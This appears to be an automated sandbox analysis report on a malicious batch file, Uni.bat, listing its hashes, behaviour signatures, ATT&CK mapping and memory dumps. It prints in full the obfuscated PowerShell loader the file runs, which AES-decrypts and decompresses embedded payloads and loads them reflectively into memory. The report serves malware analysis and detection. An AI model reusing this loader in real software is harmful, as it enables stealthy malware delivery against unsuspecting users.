7de9346c81bcb5b91230450e2092f27851f5cffb1837058e611ac103974f680a

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 11:55

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General

Target

Uni.bat
Size

512KB
MD5

d188d8d8e859b13330551005efc1f6cb
SHA1

6e3e2c19174c7cd0e9a2c248c700cd25a7ee17da
SHA256

7de9346c81bcb5b91230450e2092f27851f5cffb1837058e611ac103974f680a
SHA512

1847acf391c3d7a21962ae19908af637f239edaab741d2c7dc9e876b04dea6f54b7d9d42ebf3634fff9283692b7ecb566e067368a77e618bb8b5ef402e33e59f
SSDEEP

12288:i7ET3QCkmortzhYOPdMa0cqLepCUBD5LSWjU2d:GY3QCk7hXdMaELkVjU2d

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2256 powershell.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

2256 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2256 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2256 powershell.exe

pid	process
2256	powershell.exe

pid	process
2256	powershell.exe

pid	process
2256	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1752 wrote to memory of 2256	1752	cmd.exe	powershell.exe
PID 1752 wrote to memory of 2256	1752	cmd.exe	powershell.exe
PID 1752 wrote to memory of 2256	1752	cmd.exe	powershell.exe
PID 1752 wrote to memory of 2256	1752	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1752

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lV00YZkMqK2WikDyAFyEbHtVHlk19tlqai4+2KYGz1A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ohwcqqva4JCO7DLoEbGU5A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VRfwB=New-Object System.IO.MemoryStream(,$param_var); $vPQnJ=New-Object System.IO.MemoryStream; $UUurH=New-Object System.IO.Compression.GZipStream($VRfwB, [IO.Compression.CompressionMode]::Decompress); $UUurH.CopyTo($vPQnJ); $UUurH.Dispose(); $VRfwB.Dispose(); $vPQnJ.Dispose(); $vPQnJ.ToArray();}function execute_function($param_var,$param2_var){ $HBxgS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KZtfv=$HBxgS.EntryPoint; $KZtfv.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$gmyEL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($fSioa in $gmyEL) { if ($fSioa.StartsWith(':: ')) { $llpNM=$fSioa.Substring(3); break; }}$payloads_var=[string[]]$llpNM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2256

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2256-2-0x0000000073F21000-0x0000000073F22000-memory.dmp

Filesize
4KB

Download
memory/2256-3-0x0000000073F20000-0x00000000744CB000-memory.dmp

Filesize
5.7MB

Download
memory/2256-4-0x0000000073F20000-0x00000000744CB000-memory.dmp

Filesize
5.7MB

Download
memory/2256-5-0x0000000073F20000-0x00000000744CB000-memory.dmp

Filesize
5.7MB

Download
memory/2256-6-0x0000000073F20000-0x00000000744CB000-memory.dmp

Filesize
5.7MB

Download
memory/2256-7-0x0000000073F20000-0x00000000744CB000-memory.dmp

Filesize
5.7MB

Download